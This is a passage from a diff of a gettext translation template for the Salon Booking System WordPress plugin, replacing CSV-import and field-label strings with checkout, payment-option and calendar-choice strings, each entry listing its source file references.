System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+msgid \"Checkbox\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:163, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:163, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:163\n-msgid \"Import “Bookings”\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:63\n+msgid \"Checked days will be excluded from this discount.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:164, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:164, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:164, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:164\n-msgid \"Import bookings from other platforms using a CSV file that respect our csv sample file structure.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:153\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:153\n+msgid \"checking availability\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:172, views\u002Fadmin\u002Ftools.php:173, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:172, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:173, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:172, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:172, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:172, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:172, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:173\n-msgid \"Drag your csv file here to import your “Bookings”\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:301\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDetailsStep.php:301\n+msgid \"Checkout\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:206, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:206, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:206, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:206, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:206, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:206\n-msgid \"You need to match your CSV file data with Salon Booking database\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_details.php:61\n+msgid \"Checkout as a guest\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:207, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:207, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:207\n-msgid \"Select for each column the corresponding one inside your file.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_details.php:57\n+msgid \"checkout as a guest\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:217, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:217, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:217, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:217\n-msgid \"Please provide all requested columns\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:70\n+msgid \"Checkout form fields\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:240, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:240, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:240, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:240, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:240, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:240\n-msgid \"Skipped bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:16\n+msgid \"Checkout options\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:241, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:241, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:241, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:241, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:241, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:241\n-msgid \"of\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_okbox.php:7\n+msgid \"Choose a payment option\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:241, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:241, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:241, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:241, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:241, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:241\n-msgid \"records have been skipped due to errors\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:231\n+msgid \"Choose among \\\"Percentage\\\" and \\\"Fixed\\\" mode\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:246, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:408, src\u002FSLN\u002FAdmin\u002FTools.php:117, src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:204, views\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:91, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:246, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:408, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:117, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:204, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:91, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:246, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:408, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:381, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:381, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:408, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:117, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:204, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:91, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:204, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:204, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:117, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:204, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:91, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:7\n-msgid \"ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:454\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:454\n+msgid \"Choose among your Calendars\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:247, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:247, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:247\n-msgid \"Date\u002FTime\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php:93\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantHelper.php:93\n+msgid \"Choose an assistant for me\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:248, src\u002FSLN\u002FEnum\u002FCheckoutFields.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:248, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:248, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:248, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:248, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:248, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:34\n-msgid \"First name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:52\n+msgid \"Choose the one that best fits your page\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:249, src\u002FSLN\u002FEnum\u002FCheckoutFields.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:249, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:249, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:249, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:249, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:249, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:35\n-msgid \"Last name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:27\n+msgid \"\"\n+\"Choose which kind of booking algorithm want to use for your salon according \"\n+\"to your specific booking needs.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:250, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:410, src\u002FSLN\u002FPostType\u002FAttendant.php:144, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:250, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:410, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:144, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:250, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:410, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:250, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:383, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:250, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:383, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:250, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:410, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:144\n-msgid \"Email\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:234\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:233\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:234\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:233\n+msgid \"Choose your favourite payment method\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:251, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:251, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:251, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:251, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:251, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:251\n-msgid \"Error message\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:184\n+msgid \"Clear & Reset License\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 